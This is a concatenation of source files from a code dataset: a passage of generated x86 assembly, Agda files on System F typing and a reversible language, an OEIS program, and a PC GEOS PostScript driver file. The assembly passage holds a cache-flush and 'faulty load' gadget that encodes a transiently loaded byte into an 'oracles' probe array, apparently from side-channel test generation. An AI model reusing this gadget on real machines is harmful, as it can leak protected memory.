add $36149, %r13
mov $0x6162636465666768, %rcx
movq %rcx, (%r12)
nop
nop
cmp %r14, %r14
lea addresses_UC_ht+0x448a, %r8
clflush (%r8)
nop
nop
nop
nop
add $5875, %rbp
mov (%r8), %edi
nop
lfence
lea addresses_D_ht+0x3b8e, %r12
xor %r13, %r13
movl $0x61626364, (%r12)
nop
nop
nop
nop
inc %rbp
lea addresses_normal_ht+0x17942, %r8
nop
add $55161, %rdi
mov (%r8), %r14
nop
nop
nop
nop
dec %r12
lea addresses_WC_ht+0x751a, %r8
sub %r13, %r13
mov (%r8), %rbp
nop
add $18451, %r13
lea addresses_UC_ht+0xbc42, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
and $47897, %r13
mov $0x6162636465666768, %r8
movq %r8, %xmm6
and $0xffffffffffffffc0, %rcx
vmovntdq %ymm6, (%rcx)
nop
sub $25434, %rdi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r15
push %rcx
push %rdi
push %rsi
// Store
lea addresses_PSE+0xd64, %r15
nop
nop
nop
nop
and %r11, %r11
mov $0x5152535455565758, %r10
movq %r10, %xmm4
movups %xmm4, (%r15)
and %r13, %r13
// REPMOV
lea addresses_UC+0xfc42, %rsi
lea addresses_A+0x10d3a, %rdi
nop
nop
sub %r15, %r15
mov $0, %rcx
rep movsl
nop
cmp $5176, %rdi
// Store
lea addresses_WC+0xeb82, %r13
nop
cmp %r15, %r15
movl $0x51525354, (%r13)
nop
nop
xor %r10, %r10
// Store
lea addresses_RW+0x52d2, %r13
nop
nop
nop
add %rsi, %rsi
movl $0x51525354, (%r13)
nop
nop
nop
nop
sub $53599, %r10
// Load
lea addresses_RW+0x1a642, %r14
nop
nop
nop
add $43237, %rcx
movb (%r14), %r10b
add %r15, %r15
// Load
lea addresses_A+0x15f82, %r10
nop
and %r14, %r14
movups (%r10), %xmm3
vpextrq $1, %xmm3, %rdi
nop
nop
nop
cmp %r15, %r15
// Faulty Load
lea addresses_WC+0x16442, %r14
nop
nop
nop
cmp %r10, %r10
vmovaps (%r14), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rsi
lea oracles, %r11
and $0xff, %rsi
shlq $12, %rsi
mov (%r11,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_UC', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 3, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/SystemF/WellTyped.agda | metaborg/ts.agda | 4 | 15830 | <gh_stars>1-10
module SystemF.WellTyped where
open import Prelude hiding (id; erase)
open import SystemF.Syntax public
open import SystemF.Substitutions
open import Data.Vec hiding ([_])
open import Data.Vec.Properties
open import Data.Product
infix 4 _⊢_∈_
data _⊢_∈_ {ν n} (Γ : Ctx ν n) : Term ν n → Type ν → Set where
var : (x : Fin n) → Γ ⊢ var x ∈ lookup x Γ
Λ : ∀ {t a} → (ctx-weaken Γ) ⊢ t ∈ a → Γ ⊢ Λ t ∈ ∀' a
λ' : ∀ {t b} → (a : Type ν) → a ∷ Γ ⊢ t ∈ b → Γ ⊢ λ' a t ∈ a →' b
_[_] : ∀ {t a} → Γ ⊢ t ∈ ∀' a → (b : Type ν) → Γ ⊢ t [ b ] ∈ a tp[/tp b ]
_·_ : ∀ {f t a b} → Γ ⊢ f ∈ (a →' b) → Γ ⊢ t ∈ a → Γ ⊢ f · t ∈ b
_⊢_∉_ : ∀ {ν n} → (Γ : Ctx ν n) → Term ν n → Type ν → Set
_⊢_∉_ Γ t τ = ¬ Γ ⊢ t ∈ τ
erase : ∀ {ν n} {Γ : Ctx ν n} {t τ} → Γ ⊢ t ∈ τ → Term ν n
erase (var x) = var x
erase (Λ {t} x) = Λ t
erase (λ' {t} a x) = λ' a t
erase (_[_] {t} x b) = t
erase (_·_ {f} x x₁) = f
⊢f·a-inversion : ∀ {ν n f t b} {Γ : Ctx ν n} → Γ ⊢ f · t ∈ b →
∃ λ a → Γ ⊢ f ∈ a →' b × Γ ⊢ t ∈ a
⊢f·a-inversion (_·_ f∈a→b t∈a) = , (f∈a→b , t∈a)
⊢tc[a]-inversion : ∀ {ν n tc a' b} {Γ : Ctx ν n} → Γ ⊢ tc [ b ] ∈ a' → ∃ λ a → Γ ⊢ tc ∈ ∀' a
⊢tc[a]-inversion (_[_] tc∈∀'a b) = , tc∈∀'a
unique-type : ∀ {ν n} {Γ : Ctx ν n} {t τ τ'} → Γ ⊢ t ∈ τ → Γ ⊢ t ∈ τ' → τ ≡ τ'
unique-type (var x) (var .x) = refl
unique-type (Λ l) (Λ r) = cong ∀' (unique-type l r)
unique-type (λ' a l) (λ' .a r) = cong (λ b → a →' b) (unique-type l r)
unique-type (l [ b ]) (r [ .b ]) = cong (λ{ (∀' fa) → fa tp[/tp b ]; a → a}) (unique-type l r)
unique-type (f · e) (f' · e') = cong (λ{ (a →' b) → b; a → a }) (unique-type f f')
unique-type′ : ∀ {ν n} {Γ : Ctx ν n} {t τ τ'} → Γ ⊢ t ∈ τ → τ ≢ τ' → Γ ⊢ t ∉ τ'
unique-type′ ⊢t∈τ neq ⊢t∈τ' = neq $ unique-type ⊢t∈τ ⊢t∈τ'
-- Collections of typing derivations for well-typed terms.
data _⊢ⁿ_∈_ {m n} (Γ : Ctx n m) :
∀ {k} → Vec (Term n m) k → Vec (Type n) k → Set where
[] : Γ ⊢ⁿ [] ∈ []
_∷_ : ∀ {t a k} {ts : Vec (Term n m) k} {as : Vec (Type n) k} →
Γ ⊢ t ∈ a → Γ ⊢ⁿ ts ∈ as → Γ ⊢ⁿ t ∷ ts ∈ (a ∷ as)
-- Lookup a well-typed term in a collection thereof.
lookup-⊢ : ∀ {m n k} {Γ : Ctx n m} {ts : Vec (Term n m) k}
{as : Vec (Type n) k} →
(x : Fin k) → Γ ⊢ⁿ ts ∈ as → Γ ⊢ lookup x ts ∈ lookup x as
lookup-⊢ zero (⊢t ∷ ⊢ts) = ⊢t
lookup-⊢ (suc x) (⊢t ∷ ⊢ts) = lookup-⊢ x ⊢ts
|
programs/oeis/047/A047382.asm | karttu/loda | 0 | 172286 | <reponame>karttu/loda
; A047382: Numbers that are congruent to {0, 5} mod 7.
; 0,5,7,12,14,19,21,26,28,33,35,40,42,47,49,54,56,61,63,68,70,75,77,82,84,89,91,96,98,103,105,110,112,117,119,124,126,131,133,138,140,145,147,152,154,159,161,166,168
mov $1,32
add $1,$0
div $0,2
mul $0,3
mul $1,5
sub $1,$0
sub $1,160
|
Driver/Printer/PScript/pscriptgenerf13Info.asm | steakknife/pcgeos | 504 | 102645 |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: PostScript driver
FILE: pscriptgenerf13Info.asm
AUTHOR: <NAME> 13 April 1993
REVISION HISTORY:
Name Date Description
---- ---- -----------
dave 4/13/93 Initial revision parsed from pscriptlw2nt.asm
DESCRIPTION:
This file contains the device information for the PostScript printer:
Apple LaserWriter2 NT
Other Printers Supported by this resource:
$Id: pscriptgenerf13Info.asm,v 1.1 97/04/18 11:56:22 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;----------------------------------------------------------------------------
; Generic PostScript (LW compatible, 13 fonts)
;----------------------------------------------------------------------------
generf13Info segment resource
; info blocks
PrinterInfo < ; ---- PrinterType -------------
< PT_RASTER, BMF_MONO>,
; ---- PrinterConnections ------
< IC_NO_IEEE488,
CC_NO_CUSTOM,
SC_NO_SCSI,
RC_RS232C,
CC_CENTRONICS,
FC_FILE,
AC_APPLETALK >,
; ---- PrinterSmarts -----------
PS_PDL,
;-------Custom Entry Routine-------
NULL,
;-------Custom Exit Routine-------
NULL,
; ---- Mode Info Offsets -------
NULL,
NULL,
offset generf13Res,
NULL,
NULL,
; ---- Font Geometry -----------
NULL,
; ---- Symbol Set list -----------
NULL,
; ---- PaperMargins ------------
< PR_MARGIN_LEFT, ; Tractor Margins
PR_MARGIN_TRACTOR,
PR_MARGIN_RIGHT,
PR_MARGIN_TRACTOR >,
< PR_MARGIN_LEFT, ; ASF Margins
PR_MARGIN_TOP,
PR_MARGIN_RIGHT,
PR_MARGIN_BOTTOM >,
; ---- PaperInputOptions -------
< MF_MANUAL1,
TF_NO_TRACTOR,
ASF_TRAY1 >,
; ---- PaperOutputOptions ------
< OC_COPIES,
PS_NORMAL,
OD_SIMPLEX,
SO_NO_STAPLER,
OS_NO_SORTER,
OB_NO_OUTPUTBIN >,
;
612, ; paper width (points).
NULL, ; Main UI
NoSettingsDialogBox, ; Options UI
offset PrintEvalDummyASF ; UI eval Routine
>
;----------------------------------------------------------------------------
; Graphics modes info
;----------------------------------------------------------------------------
generf13Res GraphicsProperties < 300, ; xres
300, ; yres
1, ; band height
1, ; buff height
1, ; interleaves
BMF_MONO, ; color format
NULL > ; color correction
;----------------------------------------------------------------------------
; PostScript Info
;----------------------------------------------------------------------------
; This structure holds PostScript-specific info about the printer. It
; *must* be placed directly after the hires GraphicProperties struct
PSInfoStruct <
PSFL_STANDARD_13,; PSFontList
0x0001, ; PSLevel flags
GENERIC13_PROLOG_LEN, ; prolog length
offset generf13Prolog ; ptr to prolog
> ; (see pscriptConstant.def)
; this sets up a transfer function that is described in Computer
; Graphics and Applications, May 1991 issue, <NAME>'s column.
; Basically, it corrects for the perceived darkening of greys when
; printing. The hardcoded values are empirical values arrived at
; through experimentation (see the article for details).
generf13Prolog label byte
char "GWDict begin", NL
char "/SDC { 85 35 currentscreen 3 1 roll pop pop setscreen", NL
char "{dup dup 0.3681 mul -1.145 add mul 1.7769 add mul}", NL
char "currenttransfer CP settransfer} bdef", NL
char "end", NL
generf13EndProlog label byte
GENERIC13_PROLOG_LEN equ offset generf13EndProlog - offset generf13Prolog
generf13Info ends
|
Pi-/NoRepeat.agda | DreamLinuxer/popl21-artifact | 5 | 16885 | module Pi-.NoRepeat where
open import Data.Empty
open import Data.Unit
open import Data.Sum
open import Data.Product
open import Relation.Binary.Core
open import Relation.Binary
open import Relation.Nullary
open import Relation.Binary.PropositionalEquality
open import Data.Nat
open import Data.Nat.Properties
open import Data.List as L
open import Function using (_∘_)
open import Pi-.Syntax
open import Pi-.Opsem
open import Pi-.AuxLemmas
import RevNoRepeat
-- Forward deterministic
deterministic : ∀ {st st₁ st₂} → st ↦ st₁ → st ↦ st₂ → st₁ ≡ st₂
deterministic (↦⃗₁ {b = b₁}) (↦⃗₁ {b = b₂}) with base-is-prop _ b₁ b₂
... | refl = refl
deterministic ↦⃗₂ ↦⃗₂ = refl
deterministic ↦⃗₃ ↦⃗₃ = refl
deterministic ↦⃗₄ ↦⃗₄ = refl
deterministic ↦⃗₅ ↦⃗₅ = refl
deterministic ↦⃗₆ ↦⃗₆ = refl
deterministic ↦⃗₇ ↦⃗₇ = refl
deterministic ↦⃗₈ ↦⃗₈ = refl
deterministic ↦⃗₉ ↦⃗₉ = refl
deterministic ↦⃗₁₀ ↦⃗₁₀ = refl
deterministic ↦⃗₁₁ ↦⃗₁₁ = refl
deterministic ↦⃗₁₂ ↦⃗₁₂ = refl
deterministic {[ c ∣ _ ∣ κ ]◁} {⟨ _ ∣ v ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]▷} ↦⃖₁ r with Lemma₅ r
... | refl , refl with Lemma₆ r
... | refl , refl with Lemma₇ r
... | refl with v
... | ()
deterministic {[ c ∣ _ ∣ _ ]◁} {⟨ _ ∣ v ∣ _ ⟩◁} {⟨ _ ∣ v' ∣ _ ⟩◁} ↦⃖₁ r with Lemma₁ r
... | refl , refl with Lemma₂ r
deterministic {[ unite₊l ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₂ y ∣ κ ⟩◁} {⟨ _ ∣ inj₂ y ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ uniti₊l ∣ _ ∣ κ ]◁} {⟨ _ ∣ v ∣ κ ⟩◁} {⟨ _ ∣ v ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ swap₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₁ x ∣ κ ⟩◁} {⟨ _ ∣ inj₁ x ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ swap₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₂ y ∣ κ ⟩◁} {⟨ _ ∣ inj₂ y ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ assocl₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₁ x ∣ κ ⟩◁} {⟨ _ ∣ inj₁ x ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ assocl₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₁ x ∣ κ ⟩◁} {⟨ _ ∣ inj₂ (inj₁ y) ∣ κ ⟩◁} ↦⃖₁ (() ) | refl , refl | refl , refl
deterministic {[ assocl₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₁ x ∣ κ ⟩◁} {⟨ _ ∣ inj₂ (inj₂ z) ∣ κ ⟩◁} ↦⃖₁ (() ) | refl , refl | refl , refl
deterministic {[ assocl₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₂ (inj₁ y) ∣ κ ⟩◁} {⟨ _ ∣ inj₂ (inj₁ y) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ assocl₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₂ (inj₂ z) ∣ κ ⟩◁} {⟨ _ ∣ inj₂ (inj₂ z) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ assocr₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₁ (inj₁ x) ∣ κ ⟩◁} {⟨ _ ∣ inj₁ (inj₁ x) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ assocr₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₁ (inj₂ y) ∣ κ ⟩◁} {⟨ _ ∣ inj₁ (inj₂ y) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ assocr₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₂ z ∣ κ ⟩◁} {⟨ _ ∣ inj₁ (inj₁ x) ∣ κ ⟩◁} ↦⃖₁ (() ) | refl , refl | refl , refl
deterministic {[ assocr₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₂ z ∣ κ ⟩◁} {⟨ _ ∣ inj₁ (inj₂ y) ∣ κ ⟩◁} ↦⃖₁ (() ) | refl , refl | refl , refl
deterministic {[ assocr₊ ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₂ z ∣ κ ⟩◁} {⟨ _ ∣ inj₂ z ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ unite⋆l ∣ _ ∣ κ ]◁} {⟨ _ ∣ (tt , v) ∣ κ ⟩◁} {⟨ _ ∣ (tt , v) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ uniti⋆l ∣ _ ∣ κ ]◁} {⟨ _ ∣ v ∣ κ ⟩◁} {⟨ _ ∣ v ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ swap⋆ ∣ _ ∣ κ ]◁} {⟨ _ ∣ (x , y) ∣ κ ⟩◁} {⟨ _ ∣ (x , y) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ assocl⋆ ∣ _ ∣ κ ]◁} {⟨ _ ∣ (x , (y , z)) ∣ κ ⟩◁} {⟨ _ ∣ (x , (y , z)) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ assocr⋆ ∣ _ ∣ κ ]◁} {⟨ _ ∣ ((x , y) , z) ∣ κ ⟩◁} {⟨ _ ∣ ((x , y) , z) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ dist ∣ _ ∣ κ ]◁} {⟨ _ ∣ (inj₁ x , z) ∣ κ ⟩◁} {⟨ _ ∣ (inj₁ x , z) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ dist ∣ _ ∣ κ ]◁} {⟨ _ ∣ (inj₂ y , z) ∣ κ ⟩◁} {⟨ _ ∣ (inj₂ y , z) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ factor ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₁ (x , z) ∣ κ ⟩◁} {⟨ _ ∣ inj₁ (x , z) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ factor ∣ _ ∣ κ ]◁} {⟨ _ ∣ inj₂ (y , z) ∣ κ ⟩◁} {⟨ _ ∣ inj₂ (y , z) ∣ κ ⟩◁} ↦⃖₁ ↦⃖₁ | refl , refl | refl , refl = refl
deterministic {[ unite₊l ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ uniti₊l ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ swap₊ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ assocl₊ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ assocr₊ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ unite⋆l ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ uniti⋆l ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ swap⋆ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ assocl⋆ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ assocr⋆ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ dist ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ factor ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁ ()
deterministic {[ id↔ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} (↦⃖₁ {b = ()})
deterministic {[ _ ⨾ _ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} (↦⃖₁ {b = ()})
deterministic {[ _ ⊕ _ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} (↦⃖₁ {b = ()})
deterministic {[ _ ⊗ _ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} (↦⃖₁ {b = ()})
deterministic {[ η₊ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} (↦⃖₁ {b = ()})
deterministic {[ ε₊ ∣ _ ∣ _ ]◁} {⟨ _ ∣ _ ∣ _ ⟩◁} {[ _ ∣ _ ∣ _ ]◁} (↦⃖₁ {b = ()})
deterministic ↦⃖₂ ↦⃖₂ = refl
deterministic ↦⃖₃ ↦⃖₃ = refl
deterministic ↦⃖₄ ↦⃖₄ = refl
deterministic ↦⃖₅ ↦⃖₅ = refl
deterministic ↦⃖₆ ↦⃖₆ = refl
deterministic ↦⃖₇ ↦⃖₇ = refl
deterministic ↦⃖₈ ↦⃖₈ = refl
deterministic ↦⃖₉ ↦⃖₉ = refl
deterministic ↦⃖₁₀ ↦⃖₁₀ = refl
deterministic {[ c₁ ⊕ c₂ ∣ inj₁ v ∣ κ ]◁} {[ c₁ ∣ v ∣ ☐⊕ c₂ • κ ]◁} {⟨ _ ∣ x ∣ _ ⟩◁} ↦⃖₁₁ r with Lemma₁ r
... | refl , refl with Lemma₂ r
... | refl , refl with Lemma₃ r
... | inj₂ refl with Lemma₄ r
... | inj₁ ()
... | inj₂ ()
deterministic {[ c₁ ⊕ c₂ ∣ _ ∣ _ ]◁} {[ _ ∣ _ ∣ _ ]◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁₁ ↦⃖₁₁ = refl
deterministic {[ c₁ ⊕ c₂ ∣ inj₂ v ∣ _ ]◁} {[ _ ∣ _ ∣ _ ]◁} {⟨ _ ∣ x ∣ _ ⟩◁} ↦⃖₁₂ r with Lemma₁ r
... | refl , refl with Lemma₂ r
... | refl , refl with Lemma₃ r
... | inj₂ refl with Lemma₄ r
... | inj₁ ()
... | inj₂ ()
deterministic {[ c₁ ⊕ c₂ ∣ _ ∣ _ ]◁} {[ _ ∣ _ ∣ _ ]◁} {[ _ ∣ _ ∣ _ ]◁} ↦⃖₁₂ ↦⃖₁₂ = refl
deterministic {[ η₊ ∣ inj₁ v ∣ _ ]◁} {[ η₊ ∣ _ ∣ _ ]▷} {[ _ ∣ _ ∣ _ ]▷} ↦η₁ ↦η₁ = refl
deterministic {[ η₊ ∣ inj₁ v ∣ _ ]◁} {[ η₊ ∣ _ ∣ _ ]▷} {⟨ η₊ ∣ v' ∣ _ ⟩◁} ↦η₁ r with Lemma₁ r
... | refl , refl with Lemma₂ r
... | refl , refl with v'
... | ()
deterministic {[ η₊ ∣ inj₂ (- v) ∣ _ ]◁} {[ η₊ ∣ _ ∣ _ ]▷} {[ _ ∣ _ ∣ _ ]▷} ↦η₂ ↦η₂ = refl
deterministic {[ η₊ ∣ inj₂ (- v) ∣ _ ]◁} {[ η₊ ∣ _ ∣ _ ]▷} {⟨ η₊ ∣ v' ∣ _ ⟩◁} ↦η₂ r with Lemma₁ r
... | refl , refl with Lemma₂ r
... | refl , refl with v'
... | ()
deterministic ↦ε₁ ↦ε₁ = refl
deterministic ↦ε₂ ↦ε₂ = refl
-- Backward deterministic
